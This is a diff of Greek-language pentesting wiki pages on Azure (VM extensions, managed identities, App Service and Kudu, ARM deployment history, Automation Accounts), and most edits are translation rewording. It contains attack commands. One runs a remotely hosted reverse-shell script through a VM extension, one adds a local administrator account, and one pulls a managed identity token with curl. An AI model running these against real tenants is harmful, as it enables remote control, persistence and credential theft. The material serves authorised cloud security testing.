az login --allow-no-subscriptions
@@ -76,10 +76,10 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -94,7 +94,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>VMAccess extension</summary>
Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -106,7 +106,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Αυτή είναι μια **VM extension** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -13,7 +13,7 @@
Αποκτήστε το **access_token** από το **IDENTITY_HEADER** και το **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Στη συνέχεια, κάντε ερώτημα στο Azure REST API για να αποκτήσετε το **subscription ID** και περισσότερα.
```powershell
```bash
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
@@ -30,7 +30,7 @@ Headers = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
#### Azure API μέσω Python Έκδοση
#### Azure API μέσω Python Version
```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
@@ -62,6 +62,6 @@ return func.HttpResponse(val, status_code=200)
```
## Λίστα Υπηρεσιών
**Οι σελίδες αυτής της ενότητας είναι ταξινομημένες κατά υπηρεσία Azure. Σε αυτές θα μπορέσετε να βρείτε πληροφορίες σχετικά με την υπηρεσία (πώς λειτουργεί και δυνατότητες) καθώς και πώς να καταμετρήσετε κάθε υπηρεσία.**
**Οι σελίδες αυτής της ενότητας είναι ταξινομημένες κατά υπηρεσία Azure. Σε αυτές θα μπορέσετε να βρείτε πληροφορίες σχετικά με την υπηρεσία (πώς λειτουργεί και δυνατότητες) και επίσης πώς να καταμετρήσετε κάθε υπηρεσία.**
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Basic Information
Το Azure Container Registry (ACR) είναι μια διαχειριζόμενη υπηρεσία που παρέχεται από το Microsoft Azure για **την αποθήκευση και διαχείριση εικόνων κοντέινερ Docker και άλλων αντικειμένων**. Προσφέρει δυνατότητες όπως ενσωματωμένα εργαλεία προγραμματιστών, γεωγραφική αναπαραγωγή, μέτρα ασφαλείας όπως έλεγχος πρόσβασης βάσει ρόλων και σάρωση εικόνων, αυτοματοποιημένες κατασκευές, webhooks και triggers, και απομόνωση δικτύου. Λειτουργεί με δημοφιλή εργαλεία όπως το Docker CLI και το Kubernetes, και ενσωματώνεται καλά με άλλες υπηρεσίες Azure.
Το Azure Container Registry (ACR) είναι μια διαχειριζόμενη υπηρεσία που παρέχεται από το Microsoft Azure για **την αποθήκευση και διαχείριση εικόνων κοντέινερ Docker και άλλων αντικειμένων**. Προσφέρει δυνατότητες όπως ενσωματωμένα εργαλεία προγραμματιστών, γεωγραφική αναπαραγωγή, μέτρα ασφαλείας όπως έλεγχος πρόσβασης βάσει ρόλων και σάρωση εικόνας, αυτοματοποιημένες κατασκευές, webhooks και triggers, και απομόνωση δικτύου. Λειτουργεί με δημοφιλή εργαλεία όπως το Docker CLI και το Kubernetes, και ενσωματώνεται καλά με άλλες υπηρεσίες Azure.
### Enumerate
@@ -26,7 +26,7 @@ az acr show --name MyRegistry --resource-group MyResourceGroup
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# List all ACRs in your subscription
Get-AzContainerRegistry
@@ -4,13 +4,13 @@
## App Service Basic Information
Οι Azure App Services επιτρέπουν στους προγραμματιστές να **δημιουργούν, αναπτύσσουν και κλιμακώνουν διαδικτυακές εφαρμογές, backend εφαρμογών κινητών και APIs χωρίς προβλήματα**. Υποστηρίζει πολλές γλώσσες προγραμματισμού και ενσωματώνεται με διάφορα εργαλεία και υπηρεσίες Azure για βελτιωμένη λειτουργικότητα και διαχείριση.
Azure App Services επιτρέπει στους προγραμματιστές να **δημιουργούν, αναπτύσσουν και κλιμακώνουν διαδικτυακές εφαρμογές, backend κινητών εφαρμογών και APIs χωρίς προβλήματα**. Υποστηρίζει πολλές γλώσσες προγραμματισμού και ενσωματώνεται με διάφορα εργαλεία και υπηρεσίες Azure για βελτιωμένη λειτουργικότητα και διαχείριση.
Κάθε εφαρμογή εκτελείται μέσα σε ένα sandbox, αλλά η απομόνωση εξαρτάται από τα σχέδια App Service:
- Οι εφαρμογές σε δωρεάν και κοινά επίπεδα εκτελούνται σε **κοινές VM**
- Οι εφαρμογές σε τυπικά και premium επίπεδα εκτελούνται σε **αφιερωμένες VM που μοιράζονται μόνο από εφαρμογές** στο ίδιο σχέδιο App Service.
- Τα απομονωμένα επίπεδα εκτελούνται σε **αφιερωμένες VM σε αφιερωμένα εικονικά δίκτυα**, βελτιώνοντας την απομόνωση των εφαρμογών.
- Οι εφαρμογές σε δωρεάν και κοινές κατηγορίες εκτελούνται σε **κοινές VM**
- Οι εφαρμογές σε κανονικές και premium κατηγορίες εκτελούνται σε **αφιερωμένες VM που μοιράζονται μόνο από εφαρμογές** στο ίδιο σχέδιο App Service.
- Οι απομονωμένες κατηγορίες εκτελούνται σε **αφιερωμένες VM σε αφιερωμένα εικονικά δίκτυα**, βελτιώνοντας την απομόνωση των εφαρμογών.
> [!WARNING]
> Σημειώστε ότι **κανένα** από αυτά τα επίπεδα απομόνωσης **δεν αποτρέπει** άλλες κοινές **ευπάθειες ιστού** (όπως η μεταφόρτωση αρχείων ή οι εισβολές). Και αν χρησιμοποιηθεί μια **ταυτότητα διαχείρισης**, θα μπορούσε να είναι σε θέση να **κλιμακώσει τα δικαιώματα σε αυτές**.
@@ -21,7 +21,7 @@
- Αυτό είναι απαραίτητο αν έχετε μια webjob που χρειάζεται να εκτελείται συνεχώς, καθώς η webjob θα σταματήσει αν η εφαρμογή σταματήσει.
- **SSH**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να συνδεθεί στην εφαρμογή χρησιμοποιώντας SSH.
- **Debugging**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να αποσφαλματώσει την εφαρμογή. Ωστόσο, αυτό απενεργοποιείται αυτόματα κάθε 48 ώρες.
- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache for Redis.
- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache για Redis.
- Η διεύθυνση URL που περιέχει τα διαπιστευτήρια για τη βάση δεδομένων και το Redis θα αποθηκευτεί στα **appsettings**.
- **Container**: Είναι δυνατή η ανάπτυξη ενός container στην υπηρεσία App Service υποδεικνύοντας τη διεύθυνση URL του container και τα διαπιστευτήρια για την πρόσβαση σε αυτό.
- **Mounts**: Είναι δυνατή η δημιουργία 5 mounts από λογαριασμούς αποθήκευσης, είτε αυτοί είναι Azure Blob (Μόνο για Ανάγνωση) είτε Azure Files. Η ρύθμιση θα αποθηκεύσει το κλειδί πρόσβασης πάνω από τον λογαριασμό αποθήκευσης.
@@ -35,13 +35,13 @@
Ο **διακομιστής FTP δεν έχει καμία ειδική μαγεία**, απλά με την έγκυρη διεύθυνση URL, το όνομα χρήστη και τον κωδικό πρόσβασης είναι δυνατή η σύνδεση και η απόκτηση δικαιωμάτων ανάγνωσης και εγγραφής στο περιβάλλον της εφαρμογής.
Το SCM
Είναι δυνατή η σύνδεση στο SCM χρησιμοποιώντας έναν διαδικτυακό περιηγητή στη διεύθυνση `https://<SMC-URL>/BasicAuth` και η εξέταση όλων των αρχείων και των αναπτύξεων εκεί.
Είναι δυνατή η σύνδεση στο SCM χρησιμοποιώντας έναν διαδικτυακό περιηγητή στη διεύθυνση `https://<SMC-URL>/BasicAuth` και έλεγχος όλων των αρχείων και των αναπτύξεων εκεί.
### Kudu
Το Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσο το SCM όσο και μια διαδικτυακή και API διεπαφή** για τη διαχείριση μιας υπηρεσίας App Service, και παρέχει δυνατότητες ανάπτυξης βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και διαχείριση αρχείων. Είναι προσβάσιμο μέσω της διεύθυνσης URL SCM που ορίζεται στην διαδικτυακή εφαρμογή.
Kudu είναι η πλατφόρμα που **διαχειρίζεται τόσο το SCM όσο και μια διαδικτυακή και API διεπαφή** για τη διαχείριση μιας υπηρεσίας App Service, και παρέχει δυνατότητες ανάπτυξης βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και διαχείριση αρχείων. Είναι προσβάσιμη μέσω της διεύθυνσης URL SCM που ορίζεται στην διαδικτυακή εφαρμογή.
Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις υπηρεσίες App Services και από τις Function Apps είναι διαφορετικές, με την έκδοση των Function apps να είναι πολύ πιο περιορισμένη.
Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις Υπηρεσίες App και από τις Εφαρμογές Λειτουργιών είναι διαφορετικές, με την έκδοση των Εφαρμογών Λειτουργιών να είναι πολύ πιο περιορισμένη.
Ορισμένα ενδιαφέροντα endpoints που μπορείτε να βρείτε στο Kudu είναι:
- `/BasicAuth`: Πρέπει να αποκτήσετε πρόσβαση σε αυτή τη διαδρομή για να **συνδεθείτε στο Kudu**.
@@ -52,15 +52,15 @@
- `/Env`: Λάβετε πληροφορίες σχετικά με το σύστημα, τις ρυθμίσεις εφαρμογής, τις μεταβλητές περιβάλλοντος, τις συμβολοσειρές σύνδεσης και τις κεφαλίδες HTTP.
- `/wwwroot/`: Ο ριζικός κατάλογος της διαδικτυακής εφαρμογής. Μπορείτε να κατεβάσετε όλα τα αρχεία από εδώ.
Επιπλέον, το Kudu ήταν ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατόν να παρατηρήσετε ότι **πολλά πράγματα έχουν ήδη αλλάξει**.
Επιπλέον, το Kudu ήταν ανοιχτού κώδικα στο [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu), αλλά το έργο έχει αποσυρθεί και συγκρίνοντας τη συμπεριφορά του τρέχοντος Kudu στην Azure με το παλιό, είναι δυνατό να παρατηρήσετε ότι **πολλά πράγματα έχουν ήδη αλλάξει**.
## Sources
Οι υπηρεσίες App Services επιτρέπουν την ανέβασμα του κώδικα ως αρχείο zip από προεπιλογή, αλλά επιτρέπουν επίσης τη σύνδεση σε μια τρίτη υπηρεσία και την απόκτηση του κώδικα από εκεί.
Οι Υπηρεσίες App επιτρέπουν την αποστολή του κώδικα ως αρχείο zip από προεπιλογή, αλλά επιτρέπουν επίσης τη σύνδεση σε μια υπηρεσία τρίτου μέρους και την απόκτηση του κώδικα από εκεί.
- Οι τρέχουσες υποστηριζόμενες τρίτες πηγές είναι **Github** και **Bitbucket**.
- Οι υποστηριζόμενες τρίτες πηγές είναι **Github** και **Bitbucket**.
- Μπορείτε να αποκτήσετε τα διαπιστευτήρια αυθεντικοποίησης εκτελώντας `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Η Azure από προεπιλογή θα ρυθμίσει μια **Github Action** για να αναπτύξει τον κώδικα στην υπηρεσία App Service κάθε φορά που ενημερώνεται ο κώδικας.
- Η Azure από προεπιλογή θα ρυθμίσει μια **Github Action** για να αναπτύξει τον κώδικα στην Υπηρεσία App κάθε φορά που ενημερώνεται ο κώδικας.
- Είναι επίσης δυνατή η ένδειξη ενός **απομακρυσμένου git repository** (με όνομα χρήστη και κωδικό πρόσβασης) για να αποκτήσετε τον κώδικα από εκεί.
- Μπορείτε να αποκτήσετε τα διαπιστευτήρια για το απομακρυσμένο repo εκτελώντας `az webapp deployment source show --name <app-name> --resource-group <res-group>` ή `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- Είναι επίσης δυνατή η χρήση ενός **Azure Repository**.
@@ -70,10 +70,10 @@
## Webjobs
Οι Azure WebJobs είναι **εργασίες φόντου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας την επεξεργασία ασύγχρονων ή χρονοβόρων λειτουργιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες.
Οι Azure WebJobs είναι **εργασίες παρασκηνίου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας την εκτέλεση ασύγχρονων ή χρονοβόρων εργασιών όπως η επεξεργασία αρχείων, η διαχείριση δεδομένων ή οι προγραμματισμένες εργασίες.
Υπάρχουν 2 τύποι web jobs:
- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα τα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης.
- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι καλύτερα προσαρμοσμένο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων batch ή ρουτίνες συντήρησης.
- **Continuous**: Εκτελείται αδιάκοπα σε βρόχο και ενεργοποιείται μόλις δημιουργηθεί. Είναι ιδανικό για εργασίες που απαιτούν συνεχή επεξεργασία. Ωστόσο, αν η εφαρμογή σταματήσει να λειτουργεί επειδή το Always On είναι απενεργοποιημένο και δεν έχει λάβει αίτημα στα τελευταία 20 λεπτά, η web job θα σταματήσει επίσης.
- **Triggered**: Εκτελείται κατόπιν αιτήματος ή με βάση ένα πρόγραμμα. Είναι πιο κατάλληλο για περιοδικές εργασίες, όπως ενημερώσεις δεδομένων σε παρτίδες ή ρουτίνες συντήρησης.
Οι webjobs είναι πολύ ενδιαφέρουσες από την προοπτική των επιτιθέμενων, καθώς θα μπορούσαν να χρησιμοποιηθούν για **εκτέλεση κώδικα** στο περιβάλλον και **κλιμάκωση δικαιωμάτων** στις συνδεδεμένες διαχειριζόμενες ταυτότητες.
@@ -81,15 +81,15 @@
## Slots
Οι Azure App Service Slots χρησιμοποιούνται για **να αναπτύξουν διαφορετικές εκδόσεις της εφαρμογής** στην ίδια υπηρεσία App Service. Αυτό επιτρέπει στους προγραμματιστές να δοκιμάζουν νέες δυνατότητες ή αλλαγές σε ένα ξεχωριστό περιβάλλον πριν τις αναπτύξουν στο περιβάλλον παραγωγής.
Οι Θέσεις Υπηρεσίας App Azure χρησιμοποιούνται για **να αναπτύξουν διαφορετικές εκδόσεις της εφαρμογής** στην ίδια Υπηρεσία App. Αυτό επιτρέπει στους προγραμματιστές να δοκιμάζουν νέες δυνατότητες ή αλλαγές σε ένα ξεχωριστό περιβάλλον πριν τις αναπτύξουν στο περιβάλλον παραγωγής.
Επιπλέον, είναι δυνατή η δρομολόγηση ενός **ποσοστού της κίνησης** σε μια συγκεκριμένη υποδοχή, κάτι που είναι χρήσιμο για A/B testing και για **σκοπούς backdoor**.
Επιπλέον, είναι δυνατή η δρομολόγηση ενός **ποσοστού της κίνησης** σε μια συγκεκριμένη θέση, κάτι που είναι χρήσιμο για A/B testing και για **σκοπούς backdoor**.
## Azure Function Apps
Βασικά, **οι Azure Function apps είναι ένα υποσύνολο των Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Function apps επίσης καταγεγραμμένες εκεί**.
Βασικά, **οι Azure Function apps είναι ένα υποσύνολο της Azure App Service** στην διαδικτυακή κονσόλα και αν πάτε στην διαδικτυακή κονσόλα και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε τις Εφαρμογές Λειτουργιών επίσης καταγεγραμμένες εκεί**.
Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Storage Account στις Function apps).
Επομένως, και οι δύο υπηρεσίες έχουν κυρίως τις **ίδιες ρυθμίσεις, δυνατότητες και επιλογές στο az cli**, αν και μπορεί να τις ρυθμίζουν λίγο διαφορετικά (όπως οι προεπιλεγμένες τιμές των appsettings ή η χρήση ενός Λογαριασμού Αποθήκευσης στις Εφαρμογές Λειτουργιών).
## Enumeration
@@ -180,7 +180,7 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
@@ -253,10 +253,10 @@ az webapp up --runtime PYTHON:3.9 --sku B1 --logs
2. Δημιουργήστε μια νέα python Web App στο Azure.
3. Στο `Deployment Center` αλλάξτε την πηγή, συνδεθείτε με το Github, επιλέξτε το forked repo και κάντε κλικ στο `Save`.
Όπως στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp.
Όπως και στην προηγούμενη περίπτωση, συνδεόμενοι στο SCM portal ή συνδεόμενοι μέσω FTP, είναι δυνατόν να δούμε στο `/wwwroot` το συμπιεσμένο αρχείο `output.tar.gz` που περιέχει τον κώδικα της webapp.
> [!TIP]
> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επαναφορά μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp.
> Απλώς η σύνδεση μέσω FTP και η τροποποίηση του αρχείου `output.tar.gz` και η επανενεργοποίηση μιας ανάπτυξης δεν είναι αρκετή για να αλλάξει τον κώδικα που εκτελείται από την webapp.
## Privilege Escalation
@@ -6,21 +6,21 @@
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
Η υπηρεσία Application Proxy του Azure Active Directory παρέχει **ασφαλή απομακρυσμένη πρόσβαση σε εφαρμογές ιστού που βρίσκονται στις εγκαταστάσεις**. Μετά από μια **ενιαία σύνδεση στο Azure AD**, οι χρήστες μπορούν να έχουν πρόσβαση τόσο σε **cloud** όσο και σε **εφαρμογές που βρίσκονται στις εγκαταστάσεις** μέσω μιας **εξωτερικής διεύθυνσης URL** ή ενός εσωτερικού πύλης εφαρμογών.
Η Υπηρεσία Proxy Εφαρμογών του Azure Active Directory παρέχει **ασφαλή απομακρυσμένη πρόσβαση σε εφαρμογές ιστού που βρίσκονται στις εγκαταστάσεις**. Μετά από μια **ενιαία σύνδεση στο Azure AD**, οι χρήστες μπορούν να έχουν πρόσβαση τόσο σε **εφαρμογές cloud** όσο και σε **εφαρμογές που βρίσκονται στις εγκαταστάσεις** μέσω μιας **εξωτερικής διεύθυνσης URL** ή ενός εσωτερικού πύλης εφαρμογών.
Λειτουργεί ως εξής:
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
1. Μετά την πρόσβαση του χρήστη στην εφαρμογή μέσω ενός σημείου πρόσβασης, ο χρήστης κατευθύνεται στη **σελίδα σύνδεσης του Azure AD**.
1. Αφού ο χρήστης έχει αποκτήσει πρόσβαση στην εφαρμογή μέσω ενός σημείου πρόσβασης, ο χρήστης κατευθύνεται στη **σελίδα σύνδεσης του Azure AD**.
2. Μετά από μια **επιτυχημένη σύνδεση**, το Azure AD στέλνει ένα **token** στη συσκευή του χρήστη.
3. Ο πελάτης στέλνει το token στην **υπηρεσία Application Proxy**, η οποία ανακτά το όνομα κύριου χρήστη (UPN) και το όνομα ασφαλείας (SPN) από το token. **Η Application Proxy στη συνέχεια στέλνει το αίτημα στον συνδετήρα Application Proxy**.
3. Ο πελάτης στέλνει το token στην **υπηρεσία Proxy Εφαρμογών**, η οποία ανακτά το όνομα κύριου χρήστη (UPN) και το όνομα ασφαλείας (SPN) από το token. **Η Proxy Εφαρμογών στη συνέχεια στέλνει το αίτημα στον συνδετήρα Proxy Εφαρμογών**.
4. Εάν έχετε ρυθμίσει την ενιαία σύνδεση, ο συνδετήρας εκτελεί οποιαδήποτε **επιπλέον αυθεντικοποίηση** απαιτείται εκ μέρους του χρήστη.
5. Ο συνδετήρας στέλνει το αίτημα στην **εφαρμογή που βρίσκεται στις εγκαταστάσεις**.
6. Η **απάντηση** αποστέλλεται μέσω του συνδετήρα και της υπηρεσίας Application Proxy **στον χρήστη**.
6. Η **απάντηση** αποστέλλεται μέσω του συνδετήρα και της υπηρεσίας Proxy Εφαρμογών **στον χρήστη**.
## Enumeration
```powershell
```bash
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
@@ -4,16 +4,16 @@
## Basic Information
[Από τα έγγραφα:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Για να εφαρμόσετε **infrastructure as code για τις λύσεις Azure σας**, χρησιμοποιήστε τα πρότυπα Azure Resource Manager (ARM templates). Το πρότυπο είναι ένα αρχείο JavaScript Object Notation (**JSON**) που **ορίζει** την **υποδομή** και τη διαμόρφωση για το έργο σας. Το πρότυπο χρησιμοποιεί δηλωτική σύνταξη, η οποία σας επιτρέπει να δηλώσετε τι σκοπεύετε να αναπτύξετε χωρίς να χρειάζεται να γράψετε τη σειρά των εντολών προγραμματισμού για να το δημιουργήσετε. Στο πρότυπο, καθορίζετε τους πόρους που θα αναπτυχθούν και τις ιδιότητες για αυτούς τους πόρους.
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Για να εφαρμόσετε **infrastructure as code για τις λύσεις Azure σας**, χρησιμοποιήστε τα πρότυπα Azure Resource Manager (ARM templates). Το πρότυπο είναι ένα αρχείο JavaScript Object Notation (**JSON**) που **ορίζει** την **υποδομή** και τη διαμόρφωση για το έργο σας. Το πρότυπο χρησιμοποιεί δηλωτική σύνταξη, η οποία σας επιτρέπει να δηλώσετε τι σκοπεύετε να αναπτύξετε χωρίς να χρειάζεται να γράψετε τη σειρά των εντολών προγραμματισμού για να το δημιουργήσετε. Στο πρότυπο, καθορίζετε τους πόρους που θα αναπτυχθούν και τις ιδιότητες για αυτούς τους πόρους.
### History
Αν μπορείτε να έχετε πρόσβαση σε αυτό, μπορείτε να έχετε **πληροφορίες σχετικά με πόρους** που δεν είναι παρόντες αλλά μπορεί να αναπτυχθούν στο μέλλον. Επιπλέον, αν μια **παράμετρος** που περιέχει **ευαίσθητες πληροφορίες** έχει χαρακτηριστεί ως "**String**" **αντί** για "**SecureString**", θα είναι παρούσα σε **καθαρό κείμενο**.
Αν μπορείτε να έχετε πρόσβαση σε αυτό, μπορείτε να έχετε **info about resources** που δεν είναι παρόντα αλλά μπορεί να αναπτυχθούν στο μέλλον. Επιπλέον, αν μια **parameter** που περιέχει **sensitive info** έχει χαρακτηριστεί ως "**String**" **αντί** για "**SecureString**", θα είναι παρούσα σε **clear-text**.
## Search Sensitive Info
Χρήστες με τα δικαιώματα `Microsoft.Resources/deployments/read` και `Microsoft.Resources/subscriptions/resourceGroups/read` μπορούν να **διαβάσουν την ιστορία ανάπτυξης**.
```powershell
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
```bash
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>
@@ -4,7 +4,7 @@
## Basic Information
Οι Λογαριασμοί Αυτοματοποίησης Azure είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
Οι Azure Automation Accounts είναι υπηρεσίες cloud της Microsoft Azure που βοηθούν στην **αυτοματοποίηση εργασιών** όπως η διαχείριση πόρων, η διαμόρφωση και οι ενημερώσεις σε περιβάλλοντα Azure και τοπικά. Παρέχουν **Runbooks** (σενάρια για αυτοματοποίηση που εκτελούνται), **προγράμματα** και **ομάδες υβριδικών εργαζομένων** για την εκτέλεση αυτοματοποιημένων **εργασιών**, επιτρέποντας την υποδομή ως κώδικα (IaC) και την αυτοματοποίηση διαδικασιών για βελτιωμένη αποδοτικότητα και συνέπεια στη διαχείριση πόρων cloud.
### Settings
@@ -16,7 +16,7 @@
### Runbooks & Jobs
Ένα Runbook στην Αυτοματοποίηση Azure είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα runbooks μπορούν να γραφούν σε PowerShell, Python ή Γραφικά εργαλεία. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η ενημέρωση ή οι έλεγχοι συμμόρφωσης.
Ένα Runbook στην Azure Automation είναι ένα **σενάριο που εκτελεί εργασίες αυτόματα** μέσα στο περιβάλλον cloud σας. Τα Runbooks μπορούν να γραφούν σε PowerShell, Python ή Γραφικά εργαλεία. Βοηθούν στην αυτοματοποίηση διοικητικών εργασιών όπως η διαχείριση VM, η ενημέρωση ή οι έλεγχοι συμμόρφωσης.
Στον **κώδικα** που βρίσκεται μέσα στα **Runbooks** μπορεί να περιέχονται **ευαίσθητες πληροφορίες** (όπως κωδικοί).
@@ -32,19 +32,19 @@
Υπάρχουν 3 κύριοι τρόποι για να εκτελέσετε ένα Runbook:
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** τα Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**.
- **Schedules**: Αυτά χρησιμοποιούνται για να **ενεργοποιούν** Runbooks σε μια **συγκεκριμένη ώρα** ή **διάστημα**.
- **Webhooks**: Αυτά είναι **HTTP endpoints** που μπορούν να χρησιμοποιηθούν για να **ενεργοποιούν** Runbooks από **εξωτερικές υπηρεσίες**. Σημειώστε ότι το URL του webhook **δεν είναι ορατό** μετά τη δημιουργία.
- **Manual Trigger**: Μπορείτε να **ενεργοποιήσετε χειροκίνητα** ένα Runbook από το Azure Portal και από το cli.
### Source Control
